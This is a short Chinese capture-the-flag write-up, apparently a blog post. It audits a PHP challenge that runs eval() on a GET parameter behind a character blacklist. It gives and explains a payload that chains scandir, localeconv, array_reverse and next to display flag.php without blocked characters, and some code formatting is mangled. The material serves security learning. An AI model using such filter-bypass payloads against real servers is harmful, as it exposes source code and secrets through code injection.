- 代码审计
``php <?php if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\
|\@|#|\$|\%|\^|\&|*|\(|\)|-|\=|+|{|[|]|}|\:|\’|\”|\,|\<|.|>|\/|\?|\\/i”, $c)) //这里$,:,/…中文括号都进行了过滤 {
}eval($c);
}else{ highlightfile(_FILE); }
2. 这里肯定不能用常用的方法了,基本都被过滤了,学习一下大佬们的姿势
```php
#payload:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
- 先来学习下要用到的一些函数 ```php print_r() 函数用于打印变量,以更容易理解的形式展示
localeconv():是一个编程语言函数,返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。这里也可以换成current(),作用和pos类似
array_reverse():数组逆序
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出。 ```
- 通过
pos(localeconv())
得到点号,因为scandir('.')
表示得到当前目录下的文件 - 这里将当前目录读取到后,进行数组逆序
array_reverse
,要得到flag.php
,需要用next
将指针指向下一位,即flag.php
- 用
show_source
将代码显示出来